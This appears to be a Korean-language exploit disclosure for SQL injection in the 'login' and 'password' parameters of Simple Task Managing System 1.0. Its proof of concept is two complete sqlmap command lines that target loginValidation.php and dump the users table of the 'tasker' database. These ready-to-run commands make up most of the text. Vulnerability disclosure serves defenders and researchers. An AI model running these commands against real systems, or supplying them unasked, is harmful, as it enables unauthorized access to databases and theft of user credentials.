1. 설명:

Simple Task Managing System 1.0은 "/TaskManagingSystem/login.php"에서 'login' 및 'password' 매개변수를 통해 SQL 인젝션을 허용합니다. 이 문제를 악용하면 공격자가 애플리케이션을 손상시키거나, 데이터에 접근 또는 수정하거나, 기본 데이터베이스의 최신 취약점을 악용할 수 있습니다.

2. 개념 증명:

• sqlmap에서 'login' 매개변수 또는 'password' 매개변수를 사용하여 'tasker' 데이터베이스에서 users 테이블을 덤프합니다.
• 그런 다음 SQLmap을 실행하여 데이터베이스에서 데이터를 추출합니다:

sqlmap.py -u "http://localhost/TaskManagingSystem/loginValidation.php" -p "login" --risk="3" --level="3" --method="POST" --data="login=test&password=" --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" --headers="Host:localhost\nAccept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\nAccept-Encoding:gzip, deflate\nAccept-Language:en-us,en;q=0.5\nCache-Control:no-cache\nContent-Type:application/x-www-form-urlencoded\nReferer:http://localhost/TaskManagingSystem/login.php" --dbms="MySQL" --batch --dbs -D tasker -T users --dump

sqlmap.py -u "http://localhost/TaskManagingSystem/loginValidation.php" -p "password" --risk="3" --level="3" --method="POST" --data="login=&password=test" --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" --headers="Host:localhost\nAccept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\nAccept-Encoding:gzip, deflate\nAccept-Language:en-us,en;q=0.5\nCache-Control:no-cache\nContent-Type:application/x-www-form-urlencoded\nReferer:http://localhost/TaskManagingSystem/login.php" --dbms="MySQL" --batch --dbs -D tasker -T users --dump
